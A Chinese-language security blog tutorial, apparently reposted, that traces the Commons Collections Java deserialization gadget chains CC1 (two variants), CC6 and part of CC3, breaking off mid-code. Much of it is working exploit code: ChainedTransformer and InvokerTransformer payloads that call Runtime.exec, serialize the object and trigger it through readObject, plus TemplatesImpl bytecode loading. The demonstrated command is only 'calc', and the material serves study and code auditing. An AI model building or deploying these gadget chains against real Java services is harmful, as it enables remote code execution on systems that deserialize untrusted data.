JAVA反序列化—CC链的前世今生

admin 2024年5月13日01:26:16评论3 views字数 37667阅读125分33秒阅读模式

更多全球网络安全资讯尽在邑安全

前言

JAVA安全初级入门者,学习一下CC链加强代码审计能力。

开始之前,先简单引入一些概念知识。

什么是CommonsCollections,这里引用一段话进行解释

Commons:Apache Commons是Apache软件基金会的项目,Commons的目的是提供可重用的解决各种实际问题的Java开源代码。

Commons Collections:Java中有一个Collections包,内部封装了许多方法用来对集合进行处理,CommonsCollections则是对Collections进行了补充,完善了更多对集合处理的方法,大大提高了性能。

环境搭建

这里的CC1链,使用的JDK环境为JDK8u65,JDK下载链接如下

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

可以放入虚拟机而后拷贝到宿主机进行使用,拷贝的具体路径为C:Program FilesJavajdk1.8.0_65,而后在IDEA中,新建项目时选择对应JDK版本即可

JAVA反序列化—CC链的前世今生

建立好项目后,我们会发现一些代码,例如在sun包下的代码是.class文件,它的代码是直接反编译出来的,这种不可用来寻找调用同名函数,而且代码难以读懂,因此我们需要提前对其进行配置,我们需要下载其对应java文件至JDK中,具体方法如下

首先下载有漏洞的版本,链接如下

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4

而后点击左侧的zip即可下载压缩包

JAVA反序列化—CC链的前世今生

下载完成后,我们回到之前下载中的JDK8U65文件夹中

JAVA反序列化—CC链的前世今生

这里的src.zip为压缩包,我们将其解压在此文件夹下,而后,我们去刚刚下载的zip文件中找到sun包,具体路径为jdk-af660750b2f4\jdk-af660750b2f4\src\share\classes,而后将其解压到在这个src目录下

JAVA反序列化—CC链的前世今生

接下来在IDEA中选择Project Structure

JAVA反序列化—CC链的前世今生

选择SDKs,并在Sourcepath下添加src

JAVA反序列化—CC链的前世今生

此时就大功告成了,可以开始分析CC链了。

CC1

这里CC1链中的漏洞点是InvolveTransformTransform方法,跟进查看

JAVA反序列化—CC链的前世今生

这里可以发现当输入不为空时,就会调用反射获取输入参数的类,而后获取根据两个参数获取此类的某个方法,我们跟进这两个参数

JAVA反序列化—CC链的前世今生

这里可以发现是InvokerTransformer方法内的两个参数,然后继续看上一个方法

,这里是method.invoke(input, iArgs);,也就是说可以直接执行了输入的方法,并将InvokerTransformer的参数值赋值到了这里。

显而易见,这是一个完整的反射流程,我们可以尝试触发命令执行。

正常执行命令的操作如下

Runtime.getRuntime().exec("calc");

调用反射时如下

Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

这里简单改写下,改写为该类触发的形式

首先看一下,InvokerTransformer调用的第一个参数是String类的方法名,我们这里的方法名,自然是exec,因此第一个参数就有了,如下

InvokerTransformer invokerTransformer = new InvokerTransformer("exec");

接下来看第二个参数,第二个参数的类型是Class数组类型的参数类型,我们这里的exec是字符串,所以就是String,所以第二个参数也有了,如下

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",Class[]{String.class});

接下来看第三个参数,第三个参数的类型是Object数组类型的参数值,我们这里要执行的命令是calc,所以就直接写calc就可以啦,因此三个参数就构造好了,具体如下

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",Class[]{String.class},Object[]{"calc"});

这时三个参数构造好了,我们想要触发反射,还需要调用它的transform方法,这个方法需要一个参数来获取它的类,具体语句是这个

Class cls = input.getClass();

我们这里,根据正常反射情况下,可以看出调用的类是Runtime类,所以这里需要的就是Runtime类,根据反射获取类的话,有一种方法是已知类中的某个静态变量或其他,通过x.getClass()可以获取类,我们这里的话跟进Runtime类看一下

JAVA反序列化—CC链的前世今生

可以发现getRuntime是公共静态方法,这也是我们前文中讲正常反射为什么要用它来获取类的原因,因此我们这里的话也仍旧用这个来获取Runtime类,因此这里input的内容就是Runtime.getRuntime(),所以这里构造语句如下

transform(Runtime.getRuntime())

将这两个语句进行合并

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(Runtime.getRuntime());

JAVA反序列化—CC链的前世今生

可以发现此时是可以成功执行命令的,因此接下来接着往上找,我们要找一个方法调用这个transform方法的,最好是不重名的,因为我们最后的话可以走到ReadObject方法的,这样才能实现命令执行。

这里该怎么去寻找调用transform方法的呢,很简单,只需要我们选中这个方法,然后点击右键,选择Find Usages

JAVA反序列化—CC链的前世今生

此时即可在下方发现调用transform方法的函数

JAVA反序列化—CC链的前世今生

这里我们注意到TransformMap类,跟进查看一下相关代码,而后发现代码如下

protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

这里发现调用了transform,如果可以控制valueTransformer,就可以实现刚刚的命令执行,因此我们看这个valueTransformer是从哪里来的,跟进查看

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

TransformedMap构造方法为protected方法,因此提供了一个静态方法decorate来调用它的构造方法,decorate接收的参数为一个Map和两个Transformer,并对两个Transformer参数进行修饰。

此时我们就找到了控制了valueTransformer的方法,现在只需要两步,即可实现刚刚的命令执行

1、将valueTransformer改写为new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
2、将transform内的参数改写为Runtime.getRuntime()

首先来看第一步,第一步的实现的话,我们只需要向decorate内传入一个Map,控制第三个参数为new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})即可,因此我们这里构造语句如下

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap map = new HashMap();
TransformedMap.decorate(map,null,invokerTransformer);

此时第一步就实现完成了,然后来到第二步,我们该如何控制value的值为Runtime.getRuntime()呢,这个checkSetValueprotected方法,我们是无法直接调用的,因此我们这里查看其他方法谁调用了这个方法,进而实现控制此值,选中checkSetValue,右键点击Find Usages,查看哪里调用了此方法,而后来到了AbstractInputCheckedMapDecoratorMapEntry类,查看它的setValue方法

JAVA反序列化—CC链的前世今生

并且这里注意到TransformedMap类是AbstractInputCheckedMapDecorator的继承类

JAVA反序列化—CC链的前世今生

该类的具体方法如下

static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

这里不难发现我们可以通过控制setValue的方法就可以实现控制checkValue,因此我们这里需要一个entry来调用它的setValue方法,所以这里遍历一个Map,获取它的entry,具体如下

map.put("key","value");
for (Map.Entry entry:transformedMap.entrySet())
{
entry.setValue(Runtime.getRuntime());
}

此时结合上一个语句,简单改写一下,最终编写整体语句如下

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap map = new HashMap();
Map<Object,Object> transformedMap =TransformedMap.decorate(map,null,invokerTransformer);
map.put("key","value");//随便给map存一对值 否则遍历时map为空 拿不到entry
for (Map.Entry entry:transformedMap.entrySet())
{
entry.setValue(Runtime.getRuntime());
}

JAVA反序列化—CC链的前世今生

此时成功执行命令,接下来继续往下走,因为我们的最终目标是找到ReadObject方法,此时发现有一个类调用了readObject方法,跟进

JAVA反序列化—CC链的前世今生

这里发现它正好有entry的遍历功能,所以我们现在就可以通过这个直接拿entry了。

JAVA反序列化—CC链的前世今生

部分代码如下

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

这个方法并不是public方法,所以我们想调用它这个类,需要通过包名来进行调用

Class AnnotationInvocationHandler = Class.forname(sun.reflect.annotation.AnnotationInvocationHandler)

而后我们可以发现这里的构造参数也不是public的,因此也需要通过反射来进行获取,使用的方法是getConstructor,具体如下

Constructor AnnotartionConstructer = AnnotationInvocationHandler.getConstructor(Class.class,Map.class);

接下来我们还需要用setAccessible给它设置特权模式,有了这个才能执行非public方法,语句如下

annotationInvocationHandlerconstructor.setAccessible(true); 

接下来就可以实例化对象了,但这里要如何赋值呢,我们看源代码可以发现第一个参数为Class<? extends Annotation> type,这个其实是注解的意思,我们平常写的Override就是其中一种,这里暂时写他,第二个是Map,我们用前文写好的即可,代码如下

Object o = AnnotartionConstructer.newInstance(Override.class,transformedMap);

此时和前文语句相组合,得到代码如下

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap map = new HashMap();
Map<Object,Object> transformedMap =TransformedMap.decorate(map,null,invokerTransformer);
map.put("key","value");
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotartionConstructer = AnnotationInvocationHandler.getConstructor(Class.class,Map.class);
AnnotartionConstructer.setAccessible(true);
Object o = AnnotartionConstructer.newInstance(Override.class,transformedMap);
Serialize(o);
unserialize("ser.bin");

三个Bug

但此时出现了三个问题

1、Runtime.getRuntime()这个是我们通过Runtime对象实现的,但Runtime对象没有继承Serializable
2、if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
在执行SetValue方法前,还有两个if语句,该如何进行绕过。
3、memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
这里传入的参数应该是Runtime.getRuntime(),但这个方法内的参数值我们不确定能不能控制

首先来看第一个问题,虽然Runtime对象没有继承Serializable,但是它的Class类,即Runtime.class是可以进行序列化的,因此我们这里用它来代替Runtime,然后用反射调用execgetRuntime方法,再用invoke执行即可,具体代码如下

Class c = Runtime.class;
Method getRuntime = c.getMethod("getRuntime");
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(getRuntime.invoke(null,null),"calc");

第一个问题此时已经解决一半,接下来我们用一开始调用的方式,即用InvokerTransformer来调用这里的getRuntime方法,代码如下

Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);

此时已经成功获取了getRuntime方法,接下来调用invoke方法执行此方法。

Runtime currentRuntime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object.class},new Object[]{null,null}).transform(getRuntime);

此时再写一个反弹计算器的代码即可实现命令执行,此时我们发现这个调用链是一个首尾相连的结构,即下一个调用的是上一个的transform

Method getRuntime =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,String.class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime currentRuntime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(currentRuntime);

我们在调用transform中发现这样一个名为ChainedTransformer方法,其部分代码如下

JAVA反序列化—CC链的前世今生

可以看出这个transform正好是调用上一个的值传给下一个,因此我们可以用这个来实现将三个联合在一起,具体代码如下

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
});
chainedTransformer.transform(Runtime.class);

此时第一个问题就解决了。

接下来看第二个问题,这里的两个if语句,首先看第一个if语句

String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists

它这个是判断memberType是否为空,这个memberType是构造函数中传入的annotation的成员变量,name是从我们遍历的Map中获取的Key,因此要绕过这个if,我们必须使得注解中的成员变量与map中的key值相同,我们之前赋的注解是Override,跟进看下

JAVA反序列化—CC链的前世今生

可以发现它内部是没有成员变量的,那么这个if肯定是无法绕过的,因此我们这里修改注解为Retention,它的下面有一个变量为Value

JAVA反序列化—CC链的前世今生

接下来,我们再修改Map中的Key值为value,具体代码如下

map.put("value","bbb");
Object o = AnnotartionConstructer.newInstance(Retention.class,transformedMap);

此时第一层if就成功绕过了,接下来看第二层if

Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}

memberType是一个Annotation,而Value是一个bbb,所以这里直接返回false,第二层if通过

此时第二个问题解决。

接下来看第三个问题

现在的setValue传入的并非我们想要的,此时我们需要另一个transformerConstantTransformer类,其代码如下

public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}

可以发现它的transform不论接收什么,都会返回一个固定值。

所以最终payload修改为

public class Main {
public static void main(String[] args) throws Exception{
// Class c = Runtime.class;
// Method getRuntime = c.getMethod("getRuntime");
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(getRuntime.invoke(null,null),"calc");
// Method getRuntime =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,String.class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime currentRuntime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object.class},new Object[]{null,null}).transform(getRuntime);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(currentRuntime);
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
});
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap map = new HashMap();
Map<Object,Object> transformedMap =TransformedMap.decorate(map,null,chainedTransformer);
map.put("value","bbb");
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotartionConstructer = AnnotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
AnnotartionConstructer.setAccessible(true);
Object o = AnnotartionConstructer.newInstance(Target.class,transformedMap);
Serialize(o);
unserialize("ser.bin");
// for (Map.Entry entry:transformedMap.entrySet())
// {
// entry.setValue(Runtime.getRuntime());
// }
// invokerTransformer.transform(Runtime.getRuntime());
// Runtime.getRuntime().exec("calc");
// Runtime.getRuntime().exec("calc");
// Runtime r = Runtime.getRuntime();
// Method getMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime r =(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getMethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

// Transformer[] transformers =new Transformer[]{
// new ConstantTransformer(Runtime.class),
// new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
// new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
// };


// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
// Class c = Runtime.class;
// Method getRUntimeMethod = c.getMethod("getRuntime",null);
// Runtime r = (Runtime) getRUntimeMethod.invoke(null,null);
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(r,"calc");


}

public static void Serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
}

JAVA反序列化—CC链的前世今生

CC1 链2

上一条链是用的TransfomedMap中的checkSetValue()方法,这里我们还是有另一个方法可选的,即LazyMap中的get方法

JAVA反序列化—CC链的前世今生

具体代码如下

public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

这里存在语句Object value = factory.transform(key);,如果我们可以控制factoryChainedTransformer,就可以实现命令执行,因此我们看factory的赋值语句

protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}

可以发现这里是在调用LazyMap时给factory赋了值,接下来我们看哪里调用了get方法,最终确定到了AnnotationInvocationHandler.invoke这里

public Object invoke(Object proxy, Method method, Object[] args) {
//仅部分代码
String member = method.getName();
// Handle annotation member accessors
Object result = memberValues.get(member);
}

这个memeberValues是什么呢,在该类中搜索一下,即可发现

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

它是传入的Map,这里的AnnotationInvocationHandler是一个动态代理调用处理类,当AnnotationInvocationHandler的任意方法被调用时就会自动调用invoke方法,接下来来到了它自身的ReadObject方法,这里是一个比较有趣的点,自身触发自身,此时即完成了整个链,具体如下

JAVA反序列化—CC链的前世今生

接下来我们来具体构造Payload,首先是invoke,它这里是有两个判断语句在的

if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

要实现后面的get方法,我们需要保证这两个if语句不能执行,因此我们这里首先不能让方法名是equals,然后需要它是无参方法才可以,这里看到readObject中恰好调用了memeberValuesentryset()方法

for (Map.Entry<String, Object> memberValue : memberValues.entrySet())

整体思路如下

我们需要两个AnnotationInvocationHandler,第一个AnnotationInvocationHandler中的memberValues的值为Proxy,即代理第二个AnnotationInvocationHandler的动态代理,通过这样调用Proxy.entrySet()来触发它的invoke方法,Proxy中AnnotationInvocationHandler,即第二个代理的值为LazyMap,在Proxy的invoke方法中调用了LazyMap.get()方法,触发ChainedTransformer.transform,之后便是InvokeTransformer.transform

接下来理解了思路,来具体写一下Payload,前半部分是一样的,ChainedTransformertransform链依次调用,所以这里直接借助前面的

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
});

接下来看LazyMap

public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

我们这里写出对应的Payload

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap hashmap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashmap, chainedTransformer);

接下来写对应的动态代理

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap hashmap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashmap, chainedTransformer);

Class AIH = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHC = AIH.getDeclaredConstructor(Class.class, Map.class);
AIHC.setAccessible(true);
InvocationHandler AIHCIH = (InvocationHandler) AIHC.newInstance(Override.class, lazymap);

Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},AIHCIH);
Object o = AIHC.newInstance(Override.class,mapproxy);
serialize(o);
unserialize("ser.bin");
}

JAVA反序列化—CC链的前世今生

CC1的两条链,至此完结。

JAVA反序列化—CC链的前世今生

CC6

在jdku871中对CC1进行了主要修复,具体如下(引用于炸酱面师傅)

针对checkSetValue链中,readObject中整个移除了对checkSetValue的操作,针对LazyMap链则将memberValues设置为了客户端不可控,而是通过一个Filed类来进行读取。

接下来我们对CC6进行分析,从ysoserial中看它的gadgetchain

JAVA反序列化—CC链的前世今生

不难发现直到LazyMap.get(),后半部分都是相同的,再往上看到了HashMaphash()方法,这里与URLDNS链是相像的,在向HashMapput一个键值对后,它的readObject方法就会对Map进行遍历,进而调用每个key的hash,在进行hash时就会对key进行hashcode处理,此时调用TiedMapEntryhashCode方法,它的hashCode方法调用了getValue()getValue调用了get(),此时整个流程结束。

接下来构造Payload,首先看下TideMapEntry的构造

public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

它的第一个参数是接收Map,第二个是key,因此我们这里把LazyMap放入map中即可,构造语句如下

public static void main(String[] args) throws Exception{
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap hashmap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashmap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "123");
HashMap<Object,Object> map = new HashMap<>();
map.put(tiedMapEntry,"123");
}

但此时会直接触发命令执行,和URLDNS一样,我们在put时就已经触发了putval函数然后调用了hash及后续一系列函数,所以我们这里需要首先给个错误的值,在put后用反射修改回来,这里修改decorate的第二个参数即可,修改如下

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap hashmap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashmap, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "123");
HashMap<Object,Object> map = new HashMap<>();

Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
lazymap.remove("123");
serialize(map);

unserialize("ser.bin");
}

但此时发现还是无法弹出计算器,调试一下发现

JAVA反序列化—CC链的前世今生

lazyMap中赋值的123在这里影响了if判断,没有进入语句中,因此我们这里需要删除123,最终payload如下

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap hashmap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashmap, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "123");
HashMap<Object,Object> map = new HashMap<>();
map.put(tiedMapEntry,"123");

Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
lazymap.remove("123");
serialize(map);

unserialize("ser.bin");
}

JAVA反序列化—CC链的前世今生

CC3

不同于CC1与CC6,CC3采用的是动态类加载,即加载恶意代码进行攻击的,而非调用命令执行,具体过程如下。

这里注意到ClassLoader中的defineClass最终实现了类的动态加载,这里有多个defineClass,我们找一个在其他地方被调用的(这样方便我们利用),最终确定在此defineClass

protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError

它被调用的点在com.sun.org.apache.xalan.internal.xsltc.trax下的TemplatesImpl.TransletClassLoader

JAVA反序列化—CC链的前世今生

可以发现这里也是一个defineClass,看一下它在哪里被调用了

JAVA反序列化—CC链的前世今生

同类下的defineTransletClasses()方法调用了此方法,此时看哪里调用了defineTransletClasses,这里出现了三个方法

JAVA反序列化—CC链的前世今生

第一个返回了_class,具体代码如下

private synchronized Class[] getTransletClasses() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _class;
}

第二个返回了_class的下标,具体代码如下

public synchronized int getTransletIndex() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _transletIndex;
}

第三个是我们要关注的重点,其代码如下

private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}

发现这里对_class[_transletIndex]进行了newInstance()操作,如果我们可以控制这个_class[_transletIndex]为恶意类,然后让它进行实例化,此时就可以触发恶意类中的恶意代码,但这个是private方法,所以我们继续寻找谁调用了它,这里跟进到了同类下的newTransformer方法

JAVA反序列化—CC链的前世今生

重点语句是这个

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

这里调用了getTransletInstance()方法,同时我们注意到这个是public方法,因此整个流程到这里就可以完结了。简单梳理一下调用链

JAVA反序列化—CC链的前世今生

接下来写一下Payload

TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();

接下来对其进行赋值操作,newTransformer是无参函数,且内部没什么条件语句,所以不需要进行赋值,接下来看getTransletInstance,它这里是有两个if语句在的

if (_name == null) return null;

if (_class == null) defineTransletClasses();

所以我们要想往下调用,这里必须使得_name不为空,且_class为空,这里待会进行赋值,接下来继续跟进defineTransletClasses()方法,这里注意到在走到动态加载_class前,返回值中有一个_tfactory.getExternalExtensionsMap(),如果我们不对_tfactory进行赋值,那么它就会爆出空指针异常引发报错,因此我们这里需要进行赋值,同时我们注意到

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);

这里的_class的值是由_bytecodes控制的。至此,我们一共需要修改3个变量

1、private String _name = null;
2、private byte[][] _bytecodes = null;
3、private transient TransformerFactoryImpl _tfactory = null;

三个变量均为private变量,所以需要setAccessible来修改权限,先修改第一个,第一个直接调用反射修改即可

//调用反射修改_name的值
Class cls = templates.getClass();
Field name = cls.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"qwq");

第一个此时就修改完了,接下来看第二个

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);

Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

这里发现我们的_bytecodes是一个二维数组,而接收时要的却是一个一维数组,因此我们可以将一个一维数组放进_bytecodes这个二维数组中,这样在for循环遍历时,可以将一维数组遍历出来并赋值给defineClass,具体代码如下

//调用反射修改_bytecodes的值
Field bytecodes = cls.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://java测试//Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);

接下来我们需要修改第三个变量_tfactory ,这里需要注意了,因为_tfactory是被transient关键词修饰的,它是不参与序列化的,也就是说这里即使我们进行了修改,最终在序列化和反序列化过程中也是没用的,还是null,因此我们这里需要找其他修改的方法,这里注意到本类下的readObject方法存在如下代码

if (is.readBoolean()) {
_uriResolver = (URIResolver) is.readObject();
}

_tfactory = new TransformerFactoryImpl();
}

这里对_tfactory进行了赋值,我们先不进行序列化和反序列化,看看能不能弹计算器

public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

//调用反射修改_name的值
Class cls = templates.getClass();
